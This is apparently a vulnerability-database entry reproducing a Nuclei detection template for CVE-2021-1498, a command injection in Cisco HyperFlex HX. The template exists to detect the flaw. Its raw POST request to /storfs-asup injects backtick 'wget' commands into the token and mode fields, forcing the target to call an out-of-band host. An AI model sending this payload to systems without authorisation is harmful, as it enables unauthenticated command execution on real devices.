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Cisco HyperFlex HX Data Platform - Remote Command Execution

🗓️ 16 Jun 2026 07:13:51Reported by ProjectDiscoveryType 
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Cisco HyperFlex HX Data Platform - Remote Command Execution. Multiple vulnerabilities in web-based management interface could allow unauthenticated remote attacker to perform command injection attacks and execute arbitrary commands on affected system. Apply necessary security patches or updates provided by Cisco to mitigate this vulnerability

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id: CVE-2021-1498

info:
  name: Cisco HyperFlex HX Data Platform - Remote Command Execution
  author: gy741
  severity: critical
  description: Cisco HyperFlex HX contains multiple vulnerabilities in the web-based management interface that could allow an unauthenticated, remote attacker to perform command injection attacks against an affected device.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary commands on the affected system.
  remediation: |
    Apply the necessary security patches or updates provided by Cisco to mitigate this vulnerability.
  reference:
    - https://swarm.ptsecurity.com/cisco-hyperflex-how-we-got-rce-through-login-form-and-other-findings/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-1498
    - https://packetstormsecurity.com/files/162976/Cisco-HyperFlex-HX-Data-Platform-Command-Execution.html
    - https://twitter.com/Unit42_Intel/status/1402655493735206915
    - https://twitter.com/ptswarm/status/1390300625129201664
    - https://www.thezdi.com/blog/2021/6/23/cve-2021-1497-cisco-hyperflex-hx-auth-handling-remote-command-execution
    - https://github.com/EdgeSecurityTeam/Vulnerability/blob/c0af411de9adb82826303c5b05a0d766fb553f28/Cisco%20HyperFlex%20HX%20%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%EF%BC%88CVE-2021-1497-CVE-2021-1498%EF%BC%89.md
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-1498
    cwe-id: CWE-78
    epss-score: 0.99999
    epss-percentile: 0.9999
    cpe: cpe:2.3:o:cisco:hyperflex_hx_data_platform:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: cisco
    product: hyperflex_hx_data_platform
  tags: cve,cve2021,kev,packetstorm,cisco,rce,oast,mirai,vkev,vuln

http:
  - raw:
      - |
        POST /storfs-asup HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
        Content-Type: application/x-www-form-urlencoded

        action=&token=`wget http://{{interactsh-url}}`&mode=`wget http://{{interactsh-url}}`

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"

      - type: status
        status:
          - 200
# digest: 4a0a004730450220037bdce052f6e8a182ca68f984e8e752ee9cdad3ed9a77200a5f6e10fcf4320a022100a086ccfb206ea85be9ba8e180c56e5d7031c992bab935d95bccea79cf08e5d6c:922c64590222798bb761d5b6d8e72950

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04 Feb 2026 07:00Current
8.5High risk
Vulners AI Score8.5
CVSS 3.19.8
CVSS 210
EPSS0.99999
SSVC
45